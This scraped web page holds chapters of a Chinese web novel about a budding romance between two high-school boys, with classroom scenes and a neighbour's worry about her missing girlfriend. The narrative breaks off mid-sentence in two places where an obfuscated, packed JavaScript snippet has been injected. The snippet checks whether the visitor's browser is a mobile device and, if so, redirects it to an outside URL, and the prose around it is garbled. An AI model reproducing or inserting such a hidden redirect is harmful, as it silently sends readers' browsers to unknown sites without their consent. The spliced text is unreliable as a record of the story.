有些话,对着你的眼睛说不出口,只好写下来。 刚开学那会儿,我觉得你这人很高冷,像一本合起来的精装书,让人摸不着头脑。 后来,你在我晕倒时带我进医务室,在我没胃口时买绿豆沙(虽然最后没喝到),教我做面包……这些碎片堆在一起,渐渐拼成了我没预料到的形状。 你让我经历了好多第一次。第一次有人陪我回家,第一次有人陪我等错过的公交车,第一次有人让我这么的喜欢…… 科学家说沼泽是生态的心脏——因为所有小溪都流向那里,才能孕育出生机勃勃的潮湿。 沈泽许,你就像我的许愿池。我偷偷许过一个愿:希望我能成为陪你最久的那个人。 这封信写得很乱。有些话当面说会脸红,发消息又总想撤回,只能像这样,把真心话夹在碎碎念里。 所以说,我喜欢你,情理之中。 不是喜欢春天的那种喜欢,是……想和你睡一张床上的……喜欢。 沈泽许,我会永远永远对你好。不是嘴上说说,我会用行动证明的! 你带着茉莉香闯进我的世界,在冬天来临,便有了答案——我拥有一整个温和四季,他就在我的眼睛里。 ——爱你的陈温」 读完最后,信纸边角已被沈泽许捏出褶皱。 窗外,梧桐叶沙沙作响,每一片叶子都在窃窃私语,像藏不住的心事。 房间内安静得只剩下时钟的滴答声。 陈林峰他们下午就回了广州,偌小的房间只剩下陈温一个人。 他躺在床上,手机屏幕暗了又亮,沈泽许那句“我现在看”之后,再没发来新消息。 男生翻了个身,把发烫的手机紧贴在胸口。 掌心里,电子元件微弱的震动透过薄薄的睡衣传来,仿佛是把另一颗心脏的跳动也一并按进了自己的身体。 “叮咚——” 屋外的门铃突兀地响起。 “等一下!来了。”陈温放下手机,趿拉着拖鞋跑去开门,门外站着许久未见的陆晚枝。 她手里拎着纸袋,脚边蹲着那只圆滚滚的狸花猫“大少”,尾巴翘得老高,活像个巡视领地的土财主。 “大少又胖了呀!”陈温兴高采烈地蹲下身去摸它,掌心陷进猫咪蓬松的绒毛,沾着动物特有的暖意。 陆晚枝露出个极淡的微笑,把袋子塞给陈温:“公司发了点曲奇饼干,我一个人吃不完,拿给你一些。” “哇,谢谢!” 男生把袋子放在一旁的鞋柜上,侧身让她进屋,随后手忙脚乱地收拾茶几上散落的书本和揉成团的纸巾。 “晚枝姐你坐这边,我这儿有点乱……” 女生的神情似惆怅似漫不经心,落座到一边,说:“没关系。” 陈温胡乱地收拾完,顺手把茶几上的果盘往她那边推:“尝尝?前几天买的阳光玫瑰。” 陆晚枝点点头,捻起一颗晶莹的葡萄,品尝了一口,酸甜的汁水溢满出来。 陈温也揪了一颗塞进嘴里,夜光透过果皮映出翡翠般的光泽,细细咀嚼时,他注意到陆晚枝垂着眼睫,指腹反复摩挲着葡萄梗。 男生停下咀嚼的动作,喉结动了动:“姐姐,不喜欢吃吗?” “不是。”陆晚枝将头向上移,睫毛在眼下投出一小片阴影。“……江夏,”她声音很轻,像在斟酌字句,“最近有联系你吗?” “啊?”陈温怔住,葡萄在掌心滚了半圈,“她啊……没有。没删除我,也没拉黑我,但就是不回我信息。”他无意识捏紧了果梗,“我也不知道她最近怎么了。” “这样啊。”陆晚枝轻声应道,伸手去够陈温倒的果茶。 空气似乎凝固了一秒。 就在这一秒,进门就不见踪影的大少突然从沙发底窜出来,狸花尾巴像鞭子般扫过茶几,碰倒了玻璃杯。 陈温只来得及看见一道黑棕相间的残影扑向阳台—— “哗啦!” 陶瓷花盆在地上炸开,泥土与清水四溅。大少蹲在洗衣机上,尾巴得意地卷成问号形状,嘴里还叼着什么东西,像带刀的螳螂。 “嘶……完了!”陈温惊呼一声,虽然说这花盆内没有种如何东西。 但是他儿时住爷爷奶奶家,每次失手打翻东西,藤条抽在他手心的痛感仿佛又火辣辣地烧了起来。 他急忙翻找厨房的储物柜,却怎么也找不到抹布,也不知元姨放哪儿去了。 见陈温急吼吼又手足无措的模样,陆晚枝拉开房门,头也不回道:“我去拿。” 陈温翻了个遍,也没见着一张抹布。 他先用扫帚将陶瓷碎片跟泥土收集起来,刚把最后一撮土扫进畚箕,陆晚枝就回来了,她手里攥着条泛黄的旧抹布。 展开润湿过的抹布的刹那,女生猛地僵住——一角褐红的污渍像干涸的晚霞,在陈年水垢间掩人耳目。 陈温见她神游天外,问道:“怎么了?” 陆晚枝没说话,只是把毛巾往他眼前凑近了些。棉布纤维间褐红的印迹像干涸的颜料,边缘已经发黄。 “血?!”陈温声音发紧道。 “嗯……”陆晚枝低低应了一声。 陈温以为是她不小心被碎片划伤了,说:“你受伤了?在哪里!疼不疼?” “不是……”陆晚枝把旧毛巾皱成一团,“这条毛巾……是江夏以前用的。”她声音有着哽咽,“她之前说因为沾了咖啡渍洗不掉,就扔在储物柜最里面……” 陈温盯着那块“污渍”,又听了陆晚枝刚才的一番话,道:“你的意思是……这是江夏的血?” 陆晚枝的睫毛颤了颤,几不可见地点头。 两人沉默着收拾完残局。沙发上,陆晚枝蜷缩着身子,像个被雨淋透的纸人,怏怏的。 陈温斟酌着用词,问:“她走的那天,有带走什么吗?” “就几件换洗的衣服,和她自己的钱包。”陆晚枝无意识地转动着左耳的黑色耳钉,继续说:“银行卡,日常用品什么的都还在家里……” “她……生过病了?”陈温说。 陆晚枝说:“有点胃病,不过她之前一个人去医院检查过,医生说是小问题。” “但是有一次三更半夜,我听见她在厕所呕吐……我去质问她,她说是吃坏了肚子……” 陈温的视线不自觉地追随着女生的动作——陆晚枝反复摩挲左耳的耳钉,可她的右耳却干干净净,没有任何穿刺的痕迹。 男生的视线过于炙热,陆晚枝停下了转耳钉的手,抿起薄薄的嘴唇。 好奇心驱使着陈温,说:“晚枝姐,你怎么只打一边的耳洞啊?这样不会很奇怪吗?” 尘封的记忆忽然把这段话唤醒: 大学附近的廉价出租屋内,浴室的水汽还未散尽。 江夏穿着松松垮垮的睡衣,湿发枕在陆晚枝的肚子上,购物网站的界面在手里不断滑动。 “枝枝。”江夏翻了个身,头发的水珠蹭湿陆晚枝的衣料,“你觉得打耳钉的拉拉,酷吗?” 陆晚枝的指尖停在求职简历的发送键上,随口应道:“还行吧。” “那——”江夏猛地支起身子,膝盖压到陆晚枝的腿,“你怕不怕打耳钉呀?” “不怕啊。”陆晚枝终于从屏幕上移开视线,“不就是被蚊子叮一下的痛感吗?” “好!”江夏将手机屏幕怼到她面前,一张橙色的优惠券映入眼帘,“你也去打一个好不好?楼下新开的穿刺店,我抢到特价了!” 陆晚枝挑眉:“现在连打耳洞都要抢优惠券了?” “重点是这个吗?”江夏扑过来,带着水蜜桃沐浴露的香气,“你就说去不去?” 陆晚枝稳稳地接住她,道:“……随你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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再望去时,长椅上已经空无一人,只有几片木棉花叶被风卷着打了个旋儿。 “……” 陈温把大少交还给陆晚枝:“早点休息,拜拜。” 他目送着一人一猫走进隔壁的房门,直到听见锁舌扣合的轻响,才慢慢关上了自己的门。 回到温暖的被窝,刚躺下没多久,陈温一个激灵起身——他居然忘记回沈泽许信息了,把他晾了一个多小时! 陈温慌忙划开屏幕,还好,沈泽许并没有发新信息过来,应该还在看“情书”。 他发了个猫咪探头表情包,打探消息: 「看完了吗?」 对方秒回:「看完了。」 男生咬着被角打字:「你就没有什么想说的吗?」 「没有。」 虚拟键盘被狠狠戳了三下:「。」 「哼!」 手机那端又弹出新消息:「骗你的。」 紧接着跳出来个流泪的绿萝卜头表情。 「大好人:我好感动。」 这人想干嘛?有种不祥的预感。 陈温撅着嘴,接着问: 「还有呢?」 「大好人:这……可以说吗?」 「温馨提示:说啊,没人拦着你。」 沈泽许的消息在寂静的屋内一清二楚: 「想靠近你一点点……跟你牵手。」 “……” 手机啪嗒掉在被子上。 陈温整个人像被扔进沸水的小虾米,从耳根一直红到锁骨处。 他手忙脚乱捞起手机,颤抖着手指发了一个符号: 「?」 这对吗!? 虽然但是,两人确实没有正式的牵过手。 发完,男生深吸一口气,刚把发烫的脸埋进枕头,手机又亮了起来。 「大好人:不可以嘛?(委屈.JPG)」 陈温还没来得及打字说什么,消息就接二连三蹦出来: 「大好人:好叭,其实我也没很想要跟你牵手。」 陈温:“?” 「大好人:我以为跟你谈恋爱,可以受到不一样的偏爱……」 「你好像不太愿意的样子,那就算了……」 「我没有很伤心。」 陈温:“。?” 他明明一个字都还没说啊! 「温馨提示:没有,别瞎说。」 发出去又立刻补了句:「牵手的话……emm」 对话框上的“对方正在输入……”闪得他心慌,生怕沈泽许又说出那样的话,他赶紧噼里啪啦敲字: 「明天回学校再说吧!」 「太晚了,我要睡觉了!」 像是怕被抓住破绽,又飞速追加: 「不说了,晚安!」 手机那头终于安静下来,陈温盯着那个姗姗来迟的「好。」字,长舒一口气,抹了把根本不存在的冷汗。 40. 逛操场啊 惠中校门口的早餐店便宜又好吃。 陈温买了俩肠粉,塞书包最底下——校规不让学生带早餐,可食堂的那几样早就吃腻了。 进学校大门时,他装得特自然,上次帮林宇舟他们偷渡充电宝也是这样。 老师、保安看他这张“乖学生脸”,从来不多问,看都没看他一眼。 课室熙熙攘攘,粉笔灰在阳光下打着转。 沈泽许正默写单词,听见前门被推开,嘴角动了动。 “不好意思,睡过头了。你饿不?”陈温顶着乱糟糟的头发,喘着气问。 “还行,我也刚到。”男生合上课本,书页边角都翻得起毛了——其实他在这儿已经干坐了一个钟头。 陈温从书包里掏出肠粉,塑料盒上还凝着水珠。他一把掀开盖子,酱油香猛地窜出来,赶紧往沈泽许那边推。 对方接过,说了句“谢谢”。 “客气,赶紧吃吧!”陈温把一次性筷子掰开,包装纸压在餐盒底下,“今早可是熊老师的早读,被她发现就不好了。” 熊丽最恨早读课吃东西,嫌味道窜。教室里门窗紧闭,闷得跟蒸笼似的。 肠粉皮薄得透光,裹着嫩黄的蛋,浇上褐亮的酱油。筷子一挑,米香混着蛋香直往鼻子里钻。 陈温吸溜一口,眼睛眯成一条缝——校门口那家店的阿姨手艺果然不是盖的。 离早读还有十分钟,熊丽就踩着标志性的高跟鞋进来了。 经典的一身绿套装,活像根移动的芹菜。 她眯眼扫过众人,眉头拧成疙瘩——半个班都在啃校外的“垃圾食品”。 “外头东西不干净,都是地沟油。”她敲着讲台,说:“学校的饭菜挺好吃的啊,吃不饱就多打一点啊,下次别吃校外的东西了,知道没?” 林宇舟叼着手抓饼顶嘴:“老师,学校食堂的东西都吃吐了。” 熊丽直接略过林宇舟,眼刀子唰地扎向叶萧云——这孩子最近转了午留生,晚上回家,早上给“全班”捎早饭。 “你是班长啊,怎么能带头违纪呢!?再让我看见,我就找你们李老师聊聊。” 如果楚婷在现场的话,她估计又要吐血了,又记错她的姓氏。 叶萧云撇撇嘴。带一次早饭他能赚一块,况且她又不是班主任,婷姐都没有发话,谁管这“老女人”瞎叨叨。 见同学们一副不为所动的样子,熊丽就发火的前一秒,瞥见沈泽许也在吃,声音立马软了八个度:“沈同学也在吃啊,慢慢来,别噎着。” 全班同学:……? 早读铃终于响了,又见沈泽许吃完,老师立马敲敲讲台:“行了,都收起来,我们早读!” 沈泽许吃得慢,原因都归于陈温——那家伙一边吃一边偷瞄熊丽,肠粉半天咽不下去。 熊丽翻开新单元,单词跟下水饺似的往外蹦。全班同学跟着念了三遍,光会读不会认,跟和尚念经一样。 “啪”地合上课本,她扫了眼月考成绩单说:“这次的月考成绩考得都不怎么样。从今天开始,我们的学习小组重新搞起来。” “队长不变,组员重分。” 熊丽有个老规矩:队长带差生,中高等生放养。小测前两名有奖励,大考奖前三组。 怕大家忘记,她重新说了遍规则后,又补刀道:“这个学期都没听写过,让你们自觉背书,现在我就测测你们到底背没背单词。” 全班哀嚎。才读三遍就听写?自觉的和不自觉的都傻眼了。 林宇舟瞄了眼挂钟,举着一只手说:“老师,快下课了!” 熊丽头都不抬:“还剩多久?” “七分钟!”林宇舟嗓门特大。 熊丽不为所动:“够了,我们抓紧点,拿出听写本来。” 台下众人:这都不放过? 陈温急得手心冒汗。英语本来就是他死穴,熊丽还专考那些课本边角料——全是短语搭配,真要命了。 他偷摸往沈泽许那边蹭,眼睛快斜到太阳穴去了。 沈泽许头都没抬,却不动声色地把听写本往他那边推。本子斜出一个恰到好处的角度,刚好能让陈温看清,又不至于太明显。 熊丽念单词跟开机关枪似的。底下有人喊“太快了”,她嘴上应着“好好好我慢点”,结果越念越来劲。 七分钟愣是塞了二十五个词,赶投胎的都没那么快。 下课铃一响,熊丽“啪”地合上册子:“收起来,最后一组交的,放学留下重听。” ——谁也不敢赌她是不是吓唬人,只能乖乖交出本子。 熊丽前脚出门,后脚教室里炸开锅—— “要命啊这速度!” “我写了啥自己都看不懂!” 陈温盯着英语课本发呆——他后面好几个单词空着,估计要留下来重新听写了。 更糟的是,他感觉他同桌的视线快把他后脑勺烧出个洞来。 昨天答应“牵手”的事,现在想想简直荒唐。他死死盯着教室门,巴不得有个救星拉他去一趟厕所。 可惜没人来。 “发什么呆呢?”沈泽许声音轻得像羽毛。 “没、没什么。”陈温梗着脖子。 沈泽许挑起眉,把手摊在课桌下,指尖还故意勾了勾。 “干嘛?”陈温声音都变调了。 男生凑近他耳边,气音带着温热:“牵手。” 过道有三三两两个同学经过,脚步声清晰可闻。 陈温差点跳起来——疯了吧!教室这么多人! 他直接卡壳了,跟死机的老电脑似的——要不是耳朵红得能当信号灯,还真像个没通电的机器人。 沈泽许眼神一下子黯了:“你果然不愿意……”睫毛耷拉着,活像条被踹了一脚的流浪狗。 那句“你是不是不喜欢我了”还没嘟囔完,陈温就直接一巴掌糊住了他的嘴:“牵牵牵!我牵还不行吗!” 他认命地把手递过去,刚碰到就后悔了——教室亮得跟审讯室似的,前后左右都是人……可沈泽许的手跟暖炉一样,骨节硌着他指尖,掌心的茧子磨得他心口发麻。 那种感觉很奇怪。 像是有人把他拆成碎片,又用全新的方式拼回来。 外表还是那个陈温,内里却有什么东西悄悄变了,细细密密的,扎得他坐立不安。 柜子后头,叶萧云猛地捅了捅林宇舟:“快看!他俩手在桌底下搞小动作!” 林宇舟嘴里叼的笔啪嗒掉地上:“我去!!真真真牵上了!” “你昨天说得对,他俩确实有点不对劲……”叶萧云压着嗓子,说:“沈泽许该不会真是……” “放屁!”林宇舟捡起笔,“你是没看到,上回十五班的那个谁递情书,他当场就拒绝了,比他平时交卷还利索。沈哥比我们宿舍的床板还直!绝对不可能!” 班长眯着眼睛,活像发现老鼠的猫:“那他咋对一班班花爱答不理?人家可是年级第二。”他朝前排努努嘴,“现在这出又算个啥?高冷学神转性了?” 男生顺着他指的方向偷瞄过去——沈泽许正用指腹摩挲陈温虎口,讲台投下的阴影刚好遮住他们交握的手。 而陈温耳尖红得能滴血,却愣是没甩开。 林宇舟张着嘴,吱吱呜呜半天,憋出一句:“……当我没说。” 下节是书缘的“作文课”。 这老师有个怪脾气——专挑学生不会的教,美其名曰“语文还用学?不会的回炉重造去”。 这次月考抒情文题目看着简单,全班却集体翻车。高分的一个没有,及格的都算不错。 书缘当时把月考卷往讲台上一摔,粉笔灰震得三寸高。 “看看你们写的抒情文!五十个人,四十六个在无病呻吟!” 陈温脖子一缩。他们的“作品”《故乡》都被老师看了个遍,他的卷子上赫然批了三个大红字:“假大空”。 他低头盯着自己没及格,还差一分的卷子,又偷瞄了眼沈泽许的卷子——不仅满分,还被画了个五角星。 铃声响了半天,书缘却没来。 课代表李欣桐领着大家干读课文,嗓子都喊哑了也不见人影。 作为班长的叶萧云正要找老师,就见班主任楚就抱着一摞卷子进来了:“你们语文老师母亲病了,今早请假。”她把卷子往讲台一放,“这节课写试卷,课代表发下去。” 班里一阵欢呼——不用上书缘的作文课了。 只有陈温蔫儿了吧唧地转着笔。 他就爱听书缘讲着讲着聊到那些校园真事儿,像上回说的那个富二代:每月零花钱抵他半年生活费,女朋友换得比吃饭还勤。 最绝的是那小子还问老师:“二中怎么走?”——好家伙,这是要“跨校狩猎”啊。 卷子哗啦啦传下来,陈温托着腮帮子想:得,今天又听不着这些劲爆八卦了。 楚婷趁着发试卷的工夫,叹气道:“熊老师说,你们有人偷带早餐。” 她揉了揉太阳穴——本来不想管这破事,结果被熊丽硬拉着叨叨了十五分钟“影响学习”,所以才来得晚。 全班屏住呼吸。楚婷把剩下的卷子往讲台一扔,说:“我可提醒你们别带了哈,再带我也不管。课代表维持纪律,我回去改作业了。” 说完就走,门摔得震天响。 李欣桐还没站稳讲台,底下就炸了。林宇舟捏着嗓子学熊丽:“‘外面的早餐不卫生~’” 全班笑倒一片。 这帮崽子精着呢——天天六点起床,作业堆得比课桌高,要是连口热乎舒心的早饭都吃不上,这书念得还有什么劲? 重点班的学生更横。课表排得跟打仗似的,老师还总念叨“要起带头作用”。 带什么头?食堂包子馅儿还没小拇指盖大,油条能当教鞭使。 “怕啥,明天继续带!”林宇舟把豆浆杯捏成麻花,“我妈自己摊的煎饼,让熊丽来查啊?” 后排立马炸开锅:“给我捎一个!”“我要加肠!” 李欣桐敲讲台的手都拍红了…… 陈温转着笔,心里盘算着明早的事儿——校门口那家店的饭团,两人没吃过。 明早去买,要加肉松不要榨菜,用校服裹着塞书包最底下,应该能带进来。 熊丽说的分组的事,大伙儿都惦记着。 一下课,叶萧云第一个冲过来,一把抱住沈泽许的胳膊:“沈哥!小组比赛,求带飞!” 沈泽许眼皮都没抬,“嗯”了一声。 反正带谁都一样,他无所谓。 “对不起了兄弟闷,我要投奔别人了。”林宇舟一脸讨好地蹭到李清依旁边:“那个……清依啊,这次我能去你们那组不?上回你们组绝地反杀,太牛了!” 李欣桐抱着手臂,嗤笑一声:“人家答应你了吗?就在这自说自话?” 闻言,男生捏着嗓子撒娇:“收留我嘛~” 李欣桐:? 李清依本来安安静静在背单词,突然被cue,抬头一脸茫然。她这人最不会拒绝人,只好点点头答应:“……行吧。” 林宇舟瞬间乐得跟中彩票似的,李欣桐翻了个白眼,看他的眼神宛如在看“智障”。 陈温在旁边默默围观,心里庆幸——还好他跟沈泽许说好了,一个组,不用折腾。 下午最后一节课,书缘拖着步子走进教室。班里吵得跟菜市场似的,上课铃都响完半天了,还有人在走廊晃悠。 她往讲台上一站,没吭声。李欣桐心里咯噔一下,赶紧猛拍桌子:“都回座位去!” 人稀稀拉拉坐齐了,书缘这才抬头:“说完了?那我开始讲课了。”声音低得让人发毛。 粉笔刚碰上黑板,门口传来一声“报告!”——叶萧云拎着水杯,林宇舟双手交握,夹着腿,俩人气喘吁吁杵在那儿。 书缘头都没回:“站那儿当门神呢?赶紧进来。” 全班静得能听见粉笔灰落地的声音。不知道谁先屏住的呼吸,整个教室跟冻住了似的,连翻书声都透着小心翼翼。 夜晚降临,护眼灯光白惨惨,屋外刮着风。 沈泽许的手又在课桌下悄悄勾了过来。陈温耳朵一热,心里骂了句“得寸进尺”,却还是张开手掌任他十指相扣——自己的对象,除了惯着还能咋办? 在讲台上看班的林宇舟疯狂冲叶萧云挤眼睛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171973|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉毛快飞出发际线。叶萧云扶额回了个扭曲的苦笑,两人用口型激烈交流: 「又牵了!绝对有问题!」 「万一是取暖呢?」 「你家取暖勾手指头?!」 林宇舟抓耳挠腮,比划着: 「要不我们试探他们一下?」 直接问?不行,万一不是多尴尬啊。 可朝夕相处的好兄弟要真是…… 叶萧云的脑回路更为“清奇”,他盯着沈泽许的侧脸出神——这货去年运动会死活不肯参加男女混合接力,当时还笑他是害羞了来着。 现在想想…… 他甩来张纸条,上面画着个爆炸头火柴人,旁边写着「先观察。敌不动我不动。」 林宇舟盯着那歪歪扭扭的火柴人,抹了把不存在的汗,悲壮地觉得自己是在演谍战片。 枯燥的晚自习结束,教室瞬间活过来。 各回各家,各找各的宿管大爷大妈,剩下几个学霸凑在一起对答案,还有约着去食堂碰运气的。 惠中的夜晚才是真热闹。食堂前门亮着盏小灯,卖关东煮的大叔每次都准时出现,萝卜海带在汤锅里咕嘟咕嘟冒泡。 操场更是个宝地——白天跑八百米要死要活,晚上倒成了情侣们的约会圣地。 林宇舟晃着两张电影票,凑到李清依桌前:“清依,操场遛弯去不?顺便说个事儿。”他挠挠头,“这票问一圈了,也没有人陪我去……” 李清依合上单词书,她看得太投入,压根没注意林宇舟说了啥,看他眼睛亮得像探照灯,迷迷糊糊就跟着下楼了。 叶萧云见他们下去了,立马蹿到窗边,正找着人呢,肩膀突然挨了一巴掌,吓得他的魂差点飞出去。 “做贼呢?”李欣桐凑过来。 “别打扰我,一边去。”叶萧云赶紧比嘘,重新望向窗外。 “那不是我姐吗?她怎么不等我?”李欣桐的眼神极好,一眼就发现了两人,“等等!林宇舟怎么也在!” “这个你别管,还有你能小声点吗!”叶萧云急得直摆手。 李欣桐狐疑地打量他:“你咋不跟你兄弟一块儿下去?” “我下去当电灯泡啊?”叶萧云脱口而出,又赶紧捂嘴,“没事没事……” “神神叨叨的。”李欣桐正要下去,又忽地顿住,“哎?那不是沈泽许跟陈温吗?” 叶萧云一个激灵直起身:“在哪呢?!” “就是我姐后面那两个啊。”李欣桐指了个方向,说:“逛个操场而已,你反应这么大干嘛?” 男生顺着她手指的方向一瞅——我去!还真是他俩!肩膀都要贴在一起了! 回过神来后,发现李欣桐要下去找她姐,叶萧云一个箭步拦住了她。 可不能让她坏了他兄弟的好事。 “干嘛呢?让开。” “姑奶奶你别下去好不好?我请你吃关东煮。” “不好,我要找我姐。” 叶萧云真求这个“姐姐奴”了。两人拉拉又扯扯,谁也不让谁。男生手肘一拐,窗台上的可乐直接倒了下去。 只听楼下“哗啦”一声,紧接着传来AK主任的怒吼:“三楼哪个小兔崽子啊?!” 泡沫顺着主任的地中海发型往下滴,叶萧云脑子突然一抽,冲着操场就喊:“主任来抓小情侣啦!” 喊完,他才想起来——林宇舟他们还没在一起,不算情侣…… AK主任气得跳脚:“你个小王八蛋还通风报信?!” 夜风裹着桂花香,把落叶卷得沙沙响。 天气开始冷得厉害,校服里都得套毛衣。 惠中的操场有个不成文的规矩——晚上只带心上人来逛。 虽然这事儿只有常刷表白墙的人才知道。 这破操场有啥好逛的?不过是一条掉色的跑道,三个掉漆的篮球场。 可偏偏就有人觉得,踩着同一块地绕圈圈,是青春期里天大的浪漫。 陈温两根手指捏着沈泽许的袖口,跟做贼似的。这招是他琢磨出来的——既不算牵手,又能挨着走。 沈泽许偏着头,手虚掩在嘴边。黑灯瞎火的,陈温也看不清他到底是在偷笑还是真在咳嗽。 他俩哪是真要逛操场啊,不过是想在分别前多赖一会儿,绕一大圈再到校门口。 碰巧的是,他们前面就是林宇舟跟李清依,两人正唠着电影,声音时重时轻: “那个反派最后认输了。” “听说男主的演员开拍前有绯闻……” 陈温竖着耳朵听八卦,手指还揪着沈泽许的袖口不放。校服布料被他搓得起了静电,在夜间“啪”地闪了个小火花。 头顶上传来一声:“AK主任来抓小情侣了!” 也不知是谁喊的,操场上的情侣们瞬间作鸟兽散。 林宇舟脑子也是一抽,跟踩了电门似的,赶紧把李清依送到女生宿舍楼下:“你快回去吧!明天再聊。”说完,他扭头跑了。 陈温一听声音,就认出是谁在喊了——绝对是叶萧云那小子! 可眼下也顾不得多想,他一把甩开沈泽许的袖口,直接攥住对方手腕就冲了出去。 “跑啊!” 沈泽许被他拽得踉跄半步,喉结动了动。 按理来说,两个同性散步确实没啥,反应太大更有嫌疑,但陈温想跑就跑吧……也没啥。 主任准备上楼抓人,眯着老花眼发现了两人,他还以为是“小情侣”呢,结果不是,嘀咕道:“现在的小崽子,大晚上不睡觉尽瞎逛……” 显然压根没往那方面想。 冷风呼呼往肺里灌,陈温跑得校服下摆都飞起来了,他还饶有兴致地边跑,边回头找主任的身影。 活像个东张西望,偷吃东西的夜猫子。 黑漆漆的夜里,男生回头张望时,眼睛亮得出奇,像是把所有的光都吸进去了似的。 这光亮得扎眼,烫得沈泽许心口发紧,呼吸停了一刹那。 他想起小时候白千月讲的童话故事——卖火柴的小女孩在雪夜里划亮火柴的瞬间,大概看见的就是这样的光吧。 好耀眼,让人睁不开眼睛…… 41. 舍不得 夜里凉飕飕的,楼下电视机正放着动画片,声音断断续续飘上来。 陈温猫着腰扒在窗台,只露出双眼睛往楼下长椅瞄——空的。 他挠挠头,难道昨天眼花了?可那股被人盯着的感觉明明那么真切。 算了,爱谁谁。 洗了个热水澡,他盘腿坐在床上,膝盖上摊着本厚厚的笔记本。 写得那叫一个认真,凑近一看,字却歪得像蚯蚓爬。写完往床头柜一甩,被子一裹,三秒就打起呼噜。 气候以万树无多叶,千花试一枝。 早上的太阳暖烘烘的,风却刮得人脸生疼。陈温藏着两个饭团,熟门熟路地溜进校门。 刚爬到三楼拐角,就看见叶萧云和李欣桐垂头丧气杵在那儿,对面站着楚婷和AK主任。 陈温乖巧地喊了声“老师好”,楚婷摆摆手让他赶紧进教室。 擦肩而过时,瞥见李欣桐嫌弃地努起嘴,而叶萧云脑袋都快埋进校服里了,走廊窗户旁还挤着几个看热闹的脑袋。 男生溜回座位,戳了戳同桌胳膊:“外面那俩人犯啥事了?” 沈泽许眼皮都没抬,捻着书页一翻,说:“昨晚在教室打闹,把可乐泼主任头上了。” 陈温差点被自己口水呛到,扭头往窗外瞅——两人正被主任训得脖子缩进衣领里,活像只做错事的瘟鸡。 主任正训得唾沫横飞,楚婷忽然抬手看了眼手机:“行了主任,高三早读要开始了。”她直接打断施法,帆布鞋往主任跟前一横。 主任背着手清清嗓子:“下次不许在教室打闹了,听见没?” “听见了。”两人蔫头耷脑地应声。 AK主任听完,摸起光溜溜的脑门往楼下走,皮鞋踩得楼梯“咚咚”响。 楚婷拍拍他们肩膀,什么也没说,让他俩回去了。 窗边偷看的同学瞬间缩回脑袋,教室里读书声立马响起来。 等两人回到座位,楚婷才开口:“你们书缘老师今天请假了,下节课上英语。” 她敲敲讲台,又说:“之前躲在叶萧云柜子里的那窝小猫,今天有人来领养它们了。这节课下课,你们可以去校门口送送它们。” 那窝猫崽被楚婷送到德育处后,AK主任亲自当起了奶爸。 天天在校园网刷屏发领养帖,今天终于有个好心人要领养了,主任特意给每只猫系了红绳,跟嫁闺女似的。 教室里顿时嗡嗡作响。叶萧云手里的笔啪嗒掉在地上,原本耷拉着的眼睛一下子睁得溜圆,像通了电。 后排几个女生已经红了眼眶,小声抽噎着:“不要啊。” 见同学们一时之间安静不了,楚婷喊了声:“别吵了。”她转头对课代表说:“欣桐,带早读。” 她快速点完名,把缺勤名单往胳膊底下一夹,哒哒哒地往办公室去了。 下课铃刚响,走廊就传来一阵脚步声——大伙儿都赶着去看小猫。 而沈泽许头也不抬,继续翻他的书页,睫毛都没颤一下,与周围闹哄哄的气氛完全隔绝。 陈温一把抽走沈泽许的书:“别看了!禁止内卷。”硬把人拽下楼。 不远处的校门口,一位女老师正抱着纸箱——正是开学那会儿,帮陈温补办校卡的那位。 箱子内传来窸窸窣窣的动静——三只奶猫滚成毛茸茸的球,眼睛像玻璃珠子似的亮。 而猫妈妈瘫在箱子里甩尾巴,一副“随便rua”的架势。 同学们呼啦一下围上去,十几只手同时伸向纸箱。 “让我摸下肉垫!” “尾巴好软!” “哎呀,别挤别挤!” “我舍不得你们!” 女老师眼角弯弯,大方地打开箱子:“轻点摸啊,小家伙们刚吃饱呢。” 她瞥了眼保安室墙上走快了的闹钟,将纸箱往刚到的陈温怀里一塞。 “待会,会有个高个子男的要来领养,他身上有签字条,要核对。德育处还有事,你们帮我照看一下。” 说完,她急匆匆走了。 略显陈旧的纸箱上,用水彩笔“严肃”地写着一圈“猫咪领养,寻找爱心人士”。字迹颜色不一,边缘有些磨损,看得出在办公室摆放了有些日子。 三只小奶猫被同学们你争我抢地抱走撸,纸箱里就剩猫妈妈孤零零趴着。 它慢悠悠舔着爪子,偶尔抬头瞄一眼被传阅的崽们。 陈温一脸懵地接过,回过神来后,低头摸猫妈妈粗糙的皮毛,手掌陷进厚厚的绒毛里:“好乖。” 猫妈妈舒服地眯起眼,喉咙里发出呼噜声。 “嗯。”沈泽许盯着他看了会儿:“我能摸吗?” “摸呗。” 结果那只手直接搭在了陈温脑袋上,还揉了两把。 “……” 他一把拍开沈泽许的手:“你摸哪儿呢?!” 沈泽许眨眨眼:“不是你让我摸‘猫’的吗?” 他的手指还意犹未尽地捻了捻。 “我让你摸的是这只猫!”陈温指着箱子内的猫妈妈,突然反应过来自己说了啥,耳朵唰地红了:“等等,我不是那个意思……” 林宇舟大老远就看见两人黏糊在一块儿,跟叶萧云使了个眼色,一个箭步插到中间:“咋的了?吵架了啊?” 男生的眼睛跟探照灯似的,在两人身上来回扫。 陈温心里一紧——刚刚的动静,该不会被他看见了吧? “没什么……” “哎呀,都是好兄弟,吵什么吵?”林宇舟故意把“好兄弟”三个字咬得特别重,还冲远处的叶萧云挤眉弄眼,而那人压根没往这边看,不知在想什么。 林宇舟说:“我们握个手,这事就算翻篇了。” 沈泽许无辜地眨眼,“小心翼翼”地伸出手。 陈温从鼻子里“哼”出一声,不情不愿地勾住他的小拇指,像在完成某种幼稚园的和平仪式。 